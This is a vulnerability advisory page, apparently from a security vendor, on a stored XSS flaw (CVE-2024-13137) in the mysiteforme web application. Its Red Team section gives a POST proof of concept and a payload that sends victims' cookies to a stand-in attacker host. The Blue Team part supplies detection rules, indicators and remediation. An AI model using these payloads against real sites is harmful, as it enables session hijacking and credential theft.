CVE-2024-13137
Executive Summary
CVE-2024-13137 is a stored Cross-Site Scripting (XSS) vulnerability identified in wangl1989 mysiteforme version 1.0. The flaw resides in the RestResponse function within SiteController.java, allowing an attacker to inject arbitrary JavaScript into the application. This can lead to session hijacking, data theft, or defacement. The vulnerability is remotely exploitable with low complexity, requiring user interaction. No official patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Java-based web application (mysiteforme). While not a package manager ecosystem (NPM, PyPI, Go, Ruby), the application may rely on Maven dependencies. Users should audit their dependency tree for any vulnerable libraries that could be leveraged in conjunction with this XSS.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires user interaction but can lead to significant client-side attacks.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the RestResponse function of SiteController.java. The application fails to sanitize user-supplied input before reflecting it in HTTP responses. An attacker can craft a malicious payload (e.g., <script>alert('XSS')</script>) and submit it via a parameter processed by RestResponse. When an administrator or other user views the affected page, the script executes in their browser context.
Root Cause: Lack of output encoding or input validation in the RestResponse method.
Attack Flow:
- Attacker identifies a parameter processed by
RestResponse(e.g., a comment, profile field, or configuration setting). - Attacker submits a payload containing JavaScript.
- The payload is stored in the application's database or state.
- When a victim accesses the page that renders this data, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (mysiteforme 1.0):
// SiteController.java
public RestResponse saveSiteConfig(SiteConfig siteConfig) {
// No sanitization
return RestResponse.success(siteConfig);
}
Patched Code (Hypothetical):
// SiteController.java
import org.owasp.encoder.Encode;
public RestResponse saveSiteConfig(SiteConfig siteConfig) {
// Sanitize output
String safeName = Encode.forHtml(siteConfig.getName());
return RestResponse.success(safeName);
}
Exploitation & Lab Setup
Red Team
Proof of Concept (PoC):
- Identify a vulnerable endpoint (e.g.,
/admin/siteConfig/save). - Submit a POST request with a malicious payload:
POST /admin/siteConfig/save HTTP/1.1
Host: target.com
Content-Type: application/json
{
"name": "<script>alert(document.cookie)</script>"
}
- When an admin views the site configuration page, the script executes.
Advanced Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection:
- Monitor for unusual POST requests to
/admin/siteConfig/saveor similar endpoints. - Look for
<script>tags or event handlers in request bodies. - Use WAF rules to block common XSS patterns.
Honeypot:
- Deploy a fake admin page that logs all interactions.
- Alert on any script execution in the admin panel.
Indicators of Compromise (IOCs)
- Network:
- Outbound connections to unknown domains from the application server.
- HTTP requests containing
<script>tags in POST bodies.
- Host:
- Unexpected JavaScript files in web root.
- Modified database entries containing script tags.
- Logs:
- Application logs showing
RestResponsecalls with suspicious input. - Web server logs with
%3Cscript%3E(URL-encoded<script>).
- Application logs showing
Detection Engineering
YARA Rule
rule CVE_2024_13137_XSS {
meta:
description = "Detects XSS payloads targeting mysiteforme RestResponse"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2024-13137"
strings:
$xss1 = "<script>" ascii wide nocase
$xss2 = "onerror=" ascii wide nocase
$xss3 = "onload=" ascii wide nocase
$xss4 = "javascript:" ascii wide nocase
condition:
any of ($xss*)
}
Sigma Rule
title: CVE-2024-13137 XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS payloads in HTTP requests to mysiteforme
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panels
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-13137 XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/siteConfig/save"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable vulnerable endpoints if not essential.
- Implement input validation – reject any input containing HTML tags.
- Apply output encoding – use OWASP Java Encoder or similar.
- Deploy WAF rules to block XSS patterns.
Long-Term Fix:
- Upgrade to a patched version once available.
- Conduct a full security audit of the application.
- Implement Content Security Policy (CSP) headers.
Workaround:
- Manually patch
SiteController.javato sanitize output usingEncode.forHtml().
Valters IT